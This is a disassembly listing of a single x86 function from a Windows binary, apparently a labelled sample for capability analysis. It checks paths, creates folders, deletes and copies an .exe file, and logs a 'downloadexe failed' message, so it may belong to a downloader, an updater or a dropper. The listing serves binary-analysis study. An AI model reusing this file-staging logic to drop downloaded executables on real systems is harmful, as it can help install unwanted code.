Function at 0x10019fa0
Capabilities:
Check if file exists
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009e403
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
push ebx
push esi
push edi
mov eax, dword [0x100cd4bc]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x34], edi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 3
push eax
call fcn.100117e0
add esp, 4
mov byte [ebp - 4], 4
call fcn.10001ca0
mov ecx, eax
test ecx, ecx
je 0x1001a47b
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push 5
push str.Basic
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 5
call fcn.100083c0
push dword [ebp - 0x14]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
call ebx
test eax, eax
jne 0x1001a02d
push dword [ebp - 0x14]
push eax
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
call fcn.100015d0
push 1
push 0x100a3c50
lea ecx, [ebp - 0x10]
call fcn.100083c0
push ecx
mov esi, esp
mov dword [ebp - 0x20], esp
mov dword [ebp - 0x18], esi
call fcn.10001ca0
mov ecx, eax
test ecx, ecx
je 0x1001a485
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
mov eax, str..exe
mov byte [ebp - 4], 6
shr eax, 0x10
mov ecx, str..exe
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x1001a08f
movzx eax, cx
mov ecx, esi
push eax
call fcn.10001f10
jmp 0x1001a09d
push 4
push str..exe
mov ecx, esi
call fcn.10001950
push ecx
mov esi, esp
mov byte [ebp - 4], 7
mov dword [ebp - 0x18], esi
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
push eax
call fcn.100016d0
add eax, 0x10
add esp, 4
mov dword [esi], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 5
push eax
call fcn.10010a30
add esp, 0xc
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 8
push dword [eax - 0xc]
push eax
call fcn.100083c0
push dword [ebp - 0x10]
call ebx
test eax, eax
je 0x1001a0f0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.10001ca0
mov ecx, eax
test ecx, ecx
je 0x1001a48f
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push dword [edi + 4]
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 9
push dword [edi]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push eax
call fcn.1001a730
mov edi, dword [ebp - 0x18]
add esp, 0x14
or ebx, 0xffffffff
test eax, eax
je 0x1001a317
call fcn.10001ca0
mov ecx, eax
test ecx, ecx
je 0x1001a499
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp + 0x14]
mov byte [ebp - 4], 0xa
cmp dword [eax - 0xc], 0
je 0x1001a28e
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1001a175
push dword [ebp + 0x14]
push eax
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
push 0x100a3c50
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.10018f70
add esp, 0xc
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0xb
call fcn.100015d0
mov edx, dword [ebp - 0x20]
mov eax, ebx
mov byte [ebp - 4], 0xa
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001a1b5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x24], esi
call fcn.10001ca0
mov ecx, eax
test ecx, ecx
je 0x1001a4a3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
cmp dword [ebp - 0x30], 0
mov ecx, esi
mov byte [ebp - 4], 0xc
jne 0x1001a1f3
mov eax, str..exe
movzx eax, ax
push eax
call fcn.10001f10
jmp 0x1001a1ff
push 4
push str..exe
call fcn.10001950
push ecx
mov esi, esp
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x24], esi
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
push eax
call fcn.100016d0
add eax, 0x10
add esp, 4
mov dword [esi], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0xa
push eax
call fcn.10010a30
add esp, 0xc
mov eax, dword [eax]
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0xe
push dword [eax - 0xc]
push eax
call fcn.100083c0
mov edx, dword [ebp - 0x20]
mov eax, ebx
mov byte [ebp - 4], 0xa
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001a25d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x1c]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1001a272
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1001a28e
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x10]
call fcn.100015d0
push dword [ebp + 0x18]
push ecx
mov ebx, esp
mov dword [ebp + 0x18], esp
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp + 0x10]
add eax, 0xfffffff0
push eax
call fcn.100016d0
add eax, 0x10
mov dword [ebx], eax
mov ebx, esp
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
mov byte [ebp - 4], 0xf
push eax
call fcn.100016d0
add eax, 0x10
mov dword [ebx], eax
mov ebx, esp
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
push eax
call fcn.100016d0
mov ecx, dword [ebp - 0x34]
add esp, 4
add eax, 0x10
mov dword [ebx], eax
mov byte [ebp - 4], 0xa
call fcn.10019250
or ebx, 0xffffffff
mov dword [ebp + 0x18], eax
mov byte [ebp - 4], 9
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x1001a312
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp + 0x18]
jmp 0x1001a377
call fcn.10054ac0
test eax, eax
je 0x1001a375
call fcn.10054ac0
mov ecx, eax
mov edx, dword [eax]
mov eax, dword [edx + 4]
call eax
test al, al
je 0x1001a375
call fcn.10054ac0
lea ecx, [ebp - 0xcc]
mov ebx, eax
call fcn.10003290
mov esi, eax
push str.CExecuteURLExe::downloadexe_failed._res
push esi
mov byte [ebp - 4], 0x11
call fcn.10003e90
push edi
push esi
call fcn.10003e90
mov eax, dword [ebx]
add esp, 0x10
mov ecx, ebx
push esi
call dword [eax + 0x14]
lea ecx, [ebp - 0xcc]
call fcn.10003f50
or ebx, 0xffffffff
xor esi, esi
mov byte [ebp - 4], 8
add edi, 0xfffffff0
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x1001a392
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, ebx
mov byte [ebp - 4], 5
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001a3b0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x10]
mov eax, ebx
mov byte [ebp - 4], 4
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001a3ce
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x14]
mov eax, ebx
mov byte [ebp - 4], 3
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001a3ec
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp + 8]
mov eax, ebx
mov byte [ebp - 4], 2
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001a40a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp + 0xc]
mov eax, ebx
mov byte [ebp - 4], 1
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001a428
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp + 0x10]
mov eax, ebx
mov byte [ebp - 4], 0
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001a446
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp + 0x14]
mov dword [ebp - 4], 0xffffffff
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x1001a465
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
push 0x80004005
call fcn.100015b0
push 0x80004005
call fcn.100015b0
push 0x80004005
call fcn.100015b0
push 0x80004005
call fcn.100015b0
push 0x80004005
call fcn.100015b0
int3